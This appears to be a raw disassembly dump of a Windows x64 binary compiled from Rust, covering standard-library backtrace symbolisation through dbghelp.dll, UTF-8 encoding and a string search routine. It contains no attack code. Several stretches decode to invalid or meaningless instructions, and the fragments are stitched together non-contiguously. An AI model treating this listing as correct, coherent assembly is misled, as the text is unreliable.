and dl, 0x3f
or dl, 0x80
mov byte [rbp - 2], dl
mov r8d, 3
jmp 0x1400f6a8f
shr eax, 0x12
or al, 0xf0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
mov rax, qword [rsi]
mov rcx, qword [rax]
lea rdx, [rbp - 4]
call fcn.1400f6720
test rax, rax
je 0x1400f6aca
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
mov qword [rbp - 0x10], rax
cmp qword [rsi + 8], 0
je 0x1400f6abf
mov rcx, qword [rbp - 0x10]
call fcn.1400ebb30
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
add rsp, 0x28
pop rsi
pop rbp
ret
cmp qword [rsi + 8], 0
je 0x1400f6bb2
mov rcx, qword [rbp - 8]
call fcn.1400ebb30
mov r8, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax], r8
test r8, r8
setne al
add rsp, 0x38
pop rsi
pop rbp
ret
ror byte [rdi], 0x11
mov r8d, 0x1d158d48
in al, 6
add byte [rax - 0x73], cl
movabs al, byte [0x660b0f0002b184e8]
nop
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x80]
cmp qword [rbp - 0x28], 0
je 0x1400f7371
lea rcx, [rbp - 0x28]
call fcn.1400ebb30
invalid
invalid
fsubr st(0)
mov edi, 0x90ffff47
invalid
invalid
nop
invalid
nop
add rsp, 0x20
pop rbp
ret
adc eax, 0x3795c
mov dword [rbp - 0x10], ebx
inc r13
mov qword [rbp + 0x1708], 0
mov rcx, rsi
lea rdx, [rbp + 0x1708]
xor r8d, r8d
call qword [sym.imp.kernel32.dll_RtlLookupFunctionEntry]
mov r12, rax
mov r15, rsi
test rax, rax
je 0x1400f998b
mov rax, qword [rbp + 0x1708]
mov rcx, qword [rbp + 0x1058]
mov dword [rbp + 0x1690], 0
mov qword [rbp + 0x1698], rax
mov qword [rbp + 0x16a0], r15
mov qword [rbp + 0x16a8], rcx
cmp byte [rbp + 0x1724], 0
sete al
cmp r13, 0x65
setae cl
test al, cl
jne 0x1400f998b
mov byte [rbp + 0x1722], 0
lea rax, [rbp + 0x1722]
mov qword [rbp + 0x1620], rax
lea rax, [rbp + 0x1724]
mov qword [rbp + 0x1628], rax
lea rax, [rbp + 0x1723]
mov qword [rbp + 0x1630], rax
lea rax, [rbp + 0x1608]
mov qword [rbp + 0x1638], rax
lea rax, [rbp + 0x1721]
mov qword [rbp + 0x1640], rax
lea rax, [rbp + 0x14a8]
mov qword [rbp + 0x1648], rax
lea rax, [rbp + 0x1726]
mov qword [rbp + 0x1650], rax
lea rax, [rbp + 0x1690]
mov qword [rbp + 0x1658], rax
mov rdi, qword [0x14019f240]
test rdi, rdi
je 0x1400f91a0
mov rcx, rdi
mov edx, 0xffffffff
xor r8d, r8d
call qword [sym.imp.kernel32.dll_WaitForSingleObjectEx]
mov rax, qword [0x14019f278]
test rax, rax
jne 0x1400f8ff7
lea rcx, str.dbghelp.dll
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov qword [0x14019f278], rax
test rax, rax
je 0x1400f928d
cmp byte [0x14019f248], 0
mov qword [rbp + 0x1710], rdi
jne 0x1400f944e
mov rcx, qword [0x14019f280]
test rcx, rcx
jne 0x1400f9039
mov rcx, rax
lea rdx, str.SymGetOptions
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9447
mov rcx, rax
mov qword [0x14019f280], rax
call rcx
mov ecx, eax
mov rax, qword [0x14019f288]
test rax, rax
jne 0x1400f9070
mov esi, ecx
mov rcx, qword [0x14019f278]
lea rdx, str.SymSetOptions
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9447
mov qword [0x14019f288], rax
mov ecx, esi
or ecx, 4
call rax
mov rsi, qword [0x14019f290]
test rsi, rsi
jne 0x1400f90a7
mov rcx, qword [0x14019f278]
lea rdx, str.SymInitializeW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9447
mov rsi, rax
mov qword [0x14019f290], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
xor edx, edx
mov r8d, 1
call rsi
mov qword [rbp + 0x16c0], 0
mov qword [rbp + 0x16c8], 2
mov qword [rbp + 0x16d0], 0
mov qword [rbp + 0x1700], rdi
mov byte [rbp + 0x1727], 0
mov r8d, 0x400
lea rcx, [rbp + 0x16c0]
xor edx, edx
call fcn.14012bdc0
mov rsi, qword [rbp + 0x16c8]
mov rbx, qword [rbp + 0x16d0]
lea rcx, [rsi + rbx*2]
mov r8d, 0x7fe
xor edx, edx
call fcn.140121d00
mov eax, dword [rdx]
add byte [rsi - 0x39], ah
test byte [rsi - 2], bl
invalid
add byte [rax], al
add byte [rax], al
add rbx, 0x400
mov qword [rbp + 0x16d0], rbx
mov rdi, qword [0x14019f298]
test rdi, rdi
jne 0x1400f9165
mov eax, dword [rdx]
add byte [rsi - 0x39], ah
test byte [rsi - 2], bl
invalid
mov rcx, qword [0x14019f278]
lea rdx, str.SymGetSearchPathW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f995e
mov rdi, rax
mov qword [0x14019f298], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rsi
mov r8d, ebx
call rdi
cmp eax, 1
jne 0x1400f92b2
mov rcx, rsi
call qword [sym.imp.kernel32.dll_lstrlenW]
test eax, eax
js 0x1400f9a76
mov eax, eax
cmp rbx, rax
jae 0x1400f9352
jmp 0x1400f9359
nop
movups xmm0, xmmword [0x140166226]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x140166216]
movaps xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x20], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
test eax, eax
je 0x1400f922f
mov ecx, 0x1f
nop dword [rax]
cmp rcx, 0x20
ja 0x1400f9a45
mov edx, eax
and dl, 0xf
lea r8d, [rdx + 0x30]
lea r9d, [rdx + 0x37]
cmp dl, 0xa
movzx edx, r8b
movzx r8d, r9b
cmovb r8d, edx
mov byte [rbp + rcx - 0x40], r8b
cmp eax, 0x10
jb 0x1400f922f
mov edx, eax
shr dl, 4
lea r8d, [rdx + 0x30]
add dl, 0x37
cmp al, 0xa0
movzx r8d, r8b
movzx edx, dl
cmovb edx, r8d
mov byte [rbp + rcx - 0x41], dl
mov edx, eax
shr edx, 8
add rcx, 0xfffffffffffffffe
cmp eax, 0x100
mov eax, edx
jae 0x1400f91d0
movzx eax, byte [rbp - 0x20]
mov byte [rbp + 0x1520], al
movaps xmm0, xmmword [rbp - 0x40]
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x1510], xmm1
movaps xmmword [rbp + 0x1500], xmm0
xor ecx, ecx
xor edx, edx
lea r8, [rbp + 0x1500]
call qword [sym.imp.kernel32.dll_CreateMutexA]
test rax, rax
je 0x1400f92a0
mov rdi, rax
xor eax, eax
lock cmpxchg qword [0x14019f240], rdi
je 0x1400f8fbd
mov rsi, rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, rsi
jmp 0x1400f8fbd
mov rcx, rdi
call qword [sym.imp.kernel32.dll_ReleaseMutex]
nop word cs:[rax + rax]
cmp byte [rbp + 0x1722], 0
je 0x1400f9562
jmp 0x1400f95ce
mov qword [rbp + 0x16d0], 0
mov rax, qword [rbp + 0x16c0]
test rax, rax
mov rdi, qword [rbp + 0x1710]
je 0x1400f92e8
mov word [rsi], 0x2e
mov qword [rbp + 0x16d0], 1
cmp rax, 1
je 0x1400f9326
invalid
jmp 0x1400f9347
mov qword [rbp + 0x1700], rdi
mov byte [rbp + 0x1727], 0
lea rcx, [rbp + 0x16c0]
call fcn.1400f1800
mov rax, qword [rbp + 0x16c0]
mov rsi, qword [rbp + 0x16c8]
mov word [rsi], 0x2e
mov qword [rbp + 0x16d0], 1
cmp rax, 1
jne 0x1400f9347
mov qword [rbp + 0x1700], rdi
mov byte [rbp + 0x1727], 0
lea rcx, [rbp + 0x16c0]
call fcn.1400f1800
mov rsi, qword [rbp + 0x16c8]
mov word [rsi + 2], 0x3b
mov eax, 2
mov qword [rbp + 0x16d0], rax
mov rax, qword [rbp + 0x16d0]
mov qword [rbp + 0x1510], rax
movups xmm0, xmmword [rbp + 0x16c0]
movaps xmmword [rbp + 0x1500], xmm0
mov rsi, qword [0x14019f2a8]
test rsi, rsi
jne 0x1400f93a7
mov rcx, qword [0x14019f278]
lea rdx, str.EnumerateLoadedModulesW64
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9971
mov rsi, rax
mov qword [0x14019f2a8], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
lea rdx, [0x1400f18a0]
lea r8, [rbp + 0x1500]
call rsi
movaps xmm0, xmmword [rbp + 0x1500]
movaps xmmword [rbp - 0x40], xmm0
mov rdi, qword [rbp + 0x1510]
mov qword [rbp - 0x30], rdi
mov rbx, qword [rbp - 0x40]
cmp rdi, rbx
jne 0x1400f93eb
lea rcx, [rbp - 0x40]
call fcn.1400f1800
mov rbx, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
mov word [rsi + rdi*2], 0
mov rdi, qword [0x14019f2a0]
test rdi, rdi
jne 0x1400f9423
mov rcx, qword [0x14019f278]
lea rdx, str.SymSetSearchPathW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9430
mov rdi, rax
mov qword [0x14019f2a0], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rsi
call rdi
test rbx, rbx
je 0x1400f9447
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [0x14019f248], 1
mov qword [rbp + 0x1618], r13
mov qword [rbp + 0x1610], r12
mov qword [rbp + 0x16f8], r15
mov rdi, qword [rbp + 0x16a0]
mov r12d, dword [rbp + 0x1690]
mov r13d, dword [rbp + 0x1694]
call sub.kernel32.dll_GetCurrentProcess
mov r15, rax
mov rsi, qword [0x14019f2b0]
test rsi, rsi
je 0x1400f94b0
mov rax, qword [0x14019f2b8]
mov qword [rbp + 0x1718], rax
test rax, rax
jne 0x1400f9512
jmp 0x1400f94e5
mov rcx, qword [0x14019f278]
lea rdx, str.SymFromInlineContextW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9537
mov rsi, rax
mov qword [0x14019f2b0], rax
mov rax, qword [0x14019f2b8]
mov qword [rbp + 0x1718], rax
test rax, rax
jne 0x1400f9512
mov rcx, qword [0x14019f278]
lea rdx, str.SymGetLineFromInlineContextW
call sub.kernel32.dll_GetProcAddress
mov qword [rbp + 0x1718], rax
test rax, rax
je 0x1400f9537
mov rax, qword [rbp + 0x1718]
mov qword [0x14019f2b8], rax
lea rbx, [rdi - 1]
test rdi, rdi
cmove rbx, rdi
mov edi, 1
test r12d, r12d
je 0x1400f9877
add edi, r13d
cmp r13d, edi
jb 0x1400f966c
mov rcx, qword [rbp + 0x1710]
call qword [sym.imp.kernel32.dll_ReleaseMutex]
mov r15, qword [rbp + 0x16f8]
mov r12, qword [rbp + 0x1610]
mov r13, qword [rbp + 0x1618]
cmp byte [rbp + 0x1722], 0
jne 0x1400f95ce
cmp byte [rbp + 0x1723], 1
jne 0x1400f95ce
lea rax, [rbp + 0x14a8]
mov qword [rbp + 0x1620], rax
mov qword [rbp + 0x1628], 0
mov rdx, qword [rbp + 0x16a0]
mov qword [rbp - 0x40], 3
mov qword [rbp + 0x1500], 2
mov dword [rsp + 0x20], 0
lea rcx, [rbp + 0x1620]
lea r8, [rbp - 0x40]
lea r9, [rbp + 0x1500]
call fcn.1400f24c0
mov byte [rbp + 0x1726], al
mov rax, qword [rbp + 0x1620]
inc qword [rax + 0x18]
cmp byte [rbp + 0x1726], 0
jne 0x1400f998b
mov rdi, qword [rbp + 0x1058]
mov qword [rbp + 0x1500], 0
mov qword [rbp - 0x40], 0
mov rdx, qword [rbp + 0x1708]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1500]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
xor ecx, ecx
mov r8, r15
mov r9, r12
call qword [sym.imp.kernel32.dll_RtlVirtualUnwind]
mov rsi, qword [rbp + 0x10b8]
test rsi, rsi
je 0x1400f998b
cmp rsi, r15
jne 0x1400f8ec0
cmp qword [rbp + 0x1058], rdi
jne 0x1400f8ec0
jmp 0x1400f998b
inc r13d
cmp r13d, edi
je 0x1400f9537
mov r8d, 0xff4
mov rcx, r14
xor edx, edx
call fcn.140121d00
mov dword [rbp + 0x10], 0x7d0
mov dword [rbp - 0x40], 0x58
mov qword [rbp + 0x1500], 0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rbx
mov r8d, r13d
lea r9, [rbp + 0x1500]
call rsi
cmp eax, 1
jne 0x1400f9660
mov eax, dword [rbp + 0xc]
mov r9d, dword [rbp + 0x10]
dec r9
cmp rax, r9
cmovb r9, rax
movaps xmmword [rbp + 0x15f0], xmm6
movaps xmmword [rbp + 0x15e0], xmm6
movaps xmmword [rbp + 0x15d0], xmm6
movaps xmmword [rbp + 0x15c0], xmm6
movaps xmmword [rbp + 0x15b0], xmm6
movaps xmmword [rbp + 0x15a0], xmm6
movaps xmmword [rbp + 0x1590], xmm6
movaps xmmword [rbp + 0x1580], xmm6
movaps xmmword [rbp + 0x1570], xmm6
movaps xmmword [rbp + 0x1560], xmm6
movaps xmmword [rbp + 0x1550], xmm6
movaps xmmword [rbp + 0x1540], xmm6
movaps xmmword [rbp + 0x1530], xmm6
movaps xmmword [rbp + 0x1520], xmm6
movaps xmmword [rbp + 0x1510], xmm6
movaps xmmword [rbp + 0x1500], xmm6
movups xmmword [rsp + 0x30], xmm6
lea rax, [rbp + 0x1500]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x100
mov ecx, 0xfde9
xor edx, edx
lea r8, [rbp + 0x14]
call qword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
je 0x1400f9774
cmp eax, 0x100
ja 0x1400f9660
mov r12d, eax
jmp 0x1400f977a
mov r12d, 0x100
movaps xmmword [rbp + 0x14d0], xmm6
movaps xmmword [rbp + 0x14e0], xmm6
mov qword [rbp + 0x14f0], 0
mov dword [rbp + 0x14d0], 0x28
mov dword [rbp + 0x16c0], 0
lea rax, [rbp + 0x14d0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x16c0]
mov qword [rsp + 0x20], rax
xor r14d, r14d
mov rcx, r15
mov rdx, rbx
mov r8d, r13d
xor r9d, r9d
call qword [rbp + 0x1718]
mov r9d, 0
cmp eax, 1
jne 0x1400f9819
mov ecx, dword [rbp + 0x14e0]
mov r8, 0xffffffffffffffff
mov rdx, qword [rbp + 0x14e8]
nop word cs:[rax + rax]
cmp word [rdx + r8*2 + 2], 0
lea r8, [r8 + 1]
jne 0x1400f9800
mov r9d, 1
mov r14d, 1
mov rax, qword [rbp - 8]
mov qword [rbp + 0x16c0], r9
mov qword [rbp + 0x16c8], rdx
mov qword [rbp + 0x16d0], r8
mov dword [rbp + 0x16d8], r14d
mov dword [rbp + 0x16dc], ecx
lea rcx, [rbp + 0x1500]
mov qword [rbp + 0x16e0], rcx
mov qword [rbp + 0x16e8], r12
mov qword [rbp + 0x16f0], rax
lea rcx, [rbp + 0x1620]
lea rdx, [rbp + 0x16c0]
call fcn.1400f9d80
lea r14, [rbp - 0x3c]
jmp 0x1400f9660
mov r13, qword [0x14019f2c0]
test r13, r13
je 0x1400f9891
mov r12, qword [0x14019f2c8]
test r12, r12
jne 0x1400f98e9
jmp 0x1400f98c3
mov rcx, qword [0x14019f278]
lea rdx, str.SymAddrIncludeInlineTrace
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9537
mov r13, rax
mov qword [0x14019f2c0], rax
mov r12, qword [0x14019f2c8]
test r12, r12
jne 0x1400f98e9
mov rcx, qword [0x14019f278]
lea rdx, str.SymQueryInlineTrace
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400f9537
mov r12, rax
mov qword [0x14019f2c8], rax
mov rcx, r15
mov rdx, rbx
call r13
mov dword [rbp + 0x1500], 0
test eax, eax
je 0x1400f9956
mov dword [rbp + 0x16b4], eax
mov dword [rbp - 0x40], 0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1500]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r13d, r13d
mov rcx, r15
mov rdx, rbx
xor r8d, r8d
mov r9, rbx
call r12
cmp eax, 1
jne 0x1400f952b
mov edi, dword [rbp + 0x16b4]
inc edi
mov r13d, dword [rbp + 0x1500]
jmp 0x1400f952b
xor r13d, r13d
jmp 0x1400f952b
cmp qword [rbp + 0x16c0], 0
jne 0x1400f9435
jmp 0x1400f9447
cmp qword [rbp + 0x1500], 0
je 0x1400f9447
mov rsi, qword [rbp + 0x1508]
jmp 0x1400f9435
cmp byte [rbp + 0x1726], 0
je 0x1400f99bd
mov rax, qword [rbp + 0x1668]
shl rax, 1
test rax, rax
je 0x1400f99b9
mov r8, qword [rbp + 0x1670]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 1
jmp 0x1400f9a10
cmp byte [rbp + 0x1725], 0
jne 0x1400f99e9
mov rax, qword [rbp + 0x16b8]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.note:_Some_details_are_omitted__run_with__RUST_BACKTRACEfull__for_a_verbose_backtrace._n__rust_begin_short_backtrace__rust_end_short_backtraces_______..._omitted__frame_...__n
mov r8d, 0x58
call qword [rax + 0x18]
test al, al
jne 0x1400f9994
mov rax, qword [rbp + 0x1668]
shl rax, 1
test rax, rax
je 0x1400f9a0e
mov r8, qword [rbp + 0x1670]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
movaps xmm6, xmmword [rbp + 0x1730]
add rsp, 0x17c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.std_src...._backtrace_srcdbghelp.rs
mov edx, 0x21
mov rcx, 0xffffffffffffffff
call fcn.140122580
jmp 0x1400f9aa3
mov rax, qword [rbp + 0x1710]
mov qword [rbp + 0x1700], rax
mov byte [rbp + 0x1727], 0
lea rcx, str.assertion_failed:_len___0
lea r8, str.std_src...._backtrace_srcdbghelp.rs
mov edx, 0x1a
call fcn.140122660
ud2
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x40], esi
mov rax, qword [rbp + 0x1620]
inc qword [rax + 0x18]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
add eax, 0x6be42
cmove r8, rax
mov qword [rbp + 0x38], r8
mov qword [rbp + 0x40], rcx
mov qword [rbp - 0x50], rbx
lea rax, [fcn.140008ab0]
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x40], rax
lea rax, [0x1400edc30]
mov qword [rbp - 0x38], rax
lea rax, [0x140165c60]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
invalid
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x10], 3
mov qword [rbp + 8], 0
lea rax, [rbp - 0x50]
mov qword [rbp - 8], rax
mov qword [rbp], 2
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rbp - 0x18]
call fcn.140009870
mov byte [r14], 0
mov qword [rbx], 0
mov rax, qword [rsi + 0x28]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 0
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 0x10]
mov r14, qword [rdi + 0x20]
mov r15, qword [rdi + 0x28]
lea rcx, [rbp - 0x18]
mov rdx, r14
mov r8, r15
call fcn.14000a170
test byte [rbp - 0x18], 1
mov r12d, 2
mov eax, 2
jne 0x1400f9eec
mov rdx, qword [rbp - 0x10]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x18]
call fcn.1400d4c80
mov rax, qword [rbp - 0x18]
cmp rax, 2
je 0x1400f9eec
mov rcx, qword [rbp + 0x20]
mov qword [rbp - 0x20], rcx
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x18], rax
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm2
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r15
cmp qword [rdi], 0
je 0x1400f9f2c
movups xmm0, xmmword [rdi + 8]
movups xmmword [rbp - 0x48], xmm0
mov r12d, 1
mov qword [rbp - 0x50], r12
mov eax, dword [rdi + 0x18]
mov ecx, dword [rdi + 0x1c]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x38]
lea r8, [rbp - 0x18]
lea r9, [rbp - 0x50]
mov rdx, rbx
call fcn.1400f24c0
mov rcx, qword [rsi + 0x30]
mov byte [rcx], al
mov rax, qword [rbp + 0x38]
inc qword [rax + 0x18]
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
movdqa xmmword [rbp + 0x40], xmm7
movdqa xmmword [rbp + 0x30], xmm6
mov rbx, r8
mov r15, rdx
mov r12, rcx
cmp rdx, r9
jae 0x1400fa186
mov rdi, r9
movzx eax, byte [r12]
lea r9, [r15 - 1]
lea ecx, [rdi - 1]
lea ecx, [rdi - 1]
xor ecx, ecx
mov rdx, r15
sub rdx, 4
cmovae rcx, rdx
mov r8, r15
cmp rcx, r8
jae 0x1400fa1a5
lea r14, [r8 - 1]
cmp r14, r15
jae 0x1400fa7ab
movzx edx, byte [r12 + r8 - 1]
mov r8, r14
cmp dl, al
je 0x1400fa110
lea rcx, [r15 + 0xf]
cmp rcx, rdi
jbe 0x1400fa3f4
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.1401220a0
mov sil, 1
test eax, eax
je 0x1400fa6c8
inc rbx
dec rdi
nop
cmp rdi, r15
jb 0x1400fa6c6
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.1401220a0
inc rbx
dec rdi
test eax, eax
jne 0x1400fa160
jmp 0x1400fa6c8
jne 0x1400fa6c6
mov rcx, r12
mov rdx, rbx
mov r8, r15
call fcn.1401220a0
test eax, eax
sete sil
jmp 0x1400fa6c8
mov qword [rsp + 0x20], r15
lea rcx, [rbp - 0x50]
mov rdx, rbx
mov r8, rdi
mov r9, r12
call fcn.14000da80
test byte [rbp - 0x50], 1
je 0x1400fa2c7
mov rbx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea r11, [rax - 1]
mov rdx, qword [rbp]
mov rdi, qword [rbp + 8]
cmp rbx, 0xffffffffffffffff
je 0x1400fa6a7
mov rcx, qword [rbp - 0x28]
lea r9, [rcx + r11]
cmp r9, rdx
jae 0x1400fa6c6
mov r14, qword [rbp - 0x30]
mov r15, qword [rbp - 0x48]
mov r10, qword [rbp - 0x38]
mov rsi, rax
mov qword [rbp + 0x28], r10
sub rsi, r10
mov qword [rbp + 0x20], rsi
nop word cs:[rax + rax]
movzx r9d, byte [r8 + r9]
bt r14, r9
jae 0x1400fa26e
cmp r15, rbx
mov r12, rbx
cmova r12, r15
lea r10, [r8 + rcx]
mov r9, r12
nop dword [rax]
cmp r9, rax
jae 0x1400fa283
mov rsi, r9
add r9, rcx
cmp r9, rdx
jae 0x1400fa7bd
lea r9, [rsi + 1]
movzx r13d, byte [rdi + rsi]
cmp r13b, byte [r10 + rsi]
je 0x1400fa240
sub rcx, r15
add rcx, rsi
inc rcx
jmp 0x1400fa271
add rcx, rax
xor ebx, ebx
lea r9, [rcx + r11]
xor esi, esi
cmp r9, rdx
jb 0x1400fa220
jmp 0x1400fa6c8
mov r10, r15
nop word cs:[rax + rax]
cmp rbx, r10
jae 0x1400fa3ec
dec r10
cmp r10, rax
jae 0x1400fa7d3
lea r9, [r10 + rcx]
cmp r9, rdx
jae 0x1400fa7e5
movzx esi, byte [rdi + r10]
cmp sil, byte [r8 + r9]
je 0x1400fa290
add rcx, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
jmp 0x1400fa273
cmp byte [rbp - 0x36], 0
jne 0x1400fa6c6
mov r8, qword [rbp - 0x48]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
movzx esi, byte [rbp - 0x38]
jmp 0x1400fa2f7
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
movzx eax, dl
movd xmm0, eax
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x1400fa3d8
invalid
mov rcx, qword [rbp - 0x28]
lea r9, [rcx + r11]
cmp r9, rdx
jae 0x1400fa6c6
mov r14, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x48]
mov r15, qword [rbp - 0x38]
lea r12, [rbx - 1]
jmp 0x1400fa71f
xor esi, esi
add rcx, rax
lea r9, [rcx + r11]
xor esi, esi
cmp r9, rdx
jae 0x1400fa6c8
movzx r9d, byte [r8 + r9]
bt r14, r9
jae 0x1400fa711
lea r9, [r8 + rcx]
mov rsi, rbx
nop word cs:[rax + rax]
cmp rsi, rax
jae 0x1400fa76e
mov r10, rsi
add rsi, rcx
cmp rsi, rdx
jae 0x1400fa7f4
lea rsi, [r10 + 1]
movzx r13d, byte [rdi + r10]
cmp r13b, byte [r9 + r10]
je 0x1400fa740
sub rcx, rbx
add rcx, r10
inc rcx
jmp 0x1400fa714
mov r10, rbx
nop word cs:[rax + rax]
sub r10, 1
jb 0x1400fa3ec
cmp r12, rax
jae 0x1400fa7d3
lea r9, [r10 + rcx]
cmp r9, rdx
jae 0x1400fa7e5
movzx esi, byte [rdi + r10]
cmp sil, byte [r8 + r9]
je 0x1400fa780
add rcx, r15
jmp 0x1400fa714
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rcx, r14
mov rdx, r15
add byte [rax], al
lea rdx, str.std_src_syspalwindows_thread.rs
lea rcx, [rbp - 0x50]
call fcn.1401224d0
ud2
sub rsp, 0x28
lea rbp, [rdx + 0x70]
push 0x70
push 0x70
lea rcx, [rbp - 8]
call fcn.1400ebb30
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
push rsi
sub rsp, 0x70
mov eax, 3
add byte [rax], al
mov al, 0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov ah, 0x24
cwde
add al, byte [rax]
add byte [rcx - 0x7d], cl
inc dword [rdx]
add byte [rdi], cl
sub byte [rsp + 0x3b0], dh
add byte [rax], al
add byte [rcx + 0x48d789c6], cl
mov ecx, ebx
mov byte [rax], al
add byte [rax], al
sub byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x10], rdi
add dword [rax], eax
add byte [rax], al
add byte [rax], al
push rsp
and al, 0x68
mov dword [rsp + 0x48], 8
add byte [rax], al
test rdi, rdi
je 0x140104388
mov rdx, qword [rcx + 0x50]
cmp rsi, rdx
jae 0x1401043b0
mov rax, qword [rcx + 0x48]
shl rsi, 4
add rcx, 0x108
mov rax, qword [rax + rsi + 8]
mov rdx, rcx
mov rcx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x1400fe280
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x140169160]
mov rcx, rsi
call fcn.140122580
int3
invalid
add byte [rsi - 0x7b], ah
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rsi + rdi + 0x48], dh
mov eax, dword [rsi]
lock dec qword [rax]
jne 0x1401046ad
mov rcx, qword [rsi]
call fcn.1400d68b0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x1401046be
mov rcx, r14
call fcn.1400feb20
mov rax, rdi
mov rdx, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x140104749
call fcn.1400fed10
jmp 0x140104749
add eax, 0xffa0d7e8
dec dword [rax - 0x75]
sub al, r14b
dec qword [rax]
mov rax, qword [rsi + 0x28]
lock dec qword [rax]
jne 0x14010475c
lea rcx, [rsi + 0x28]
call fcn.1400fe710
mov rax, qword [rsi + 8]
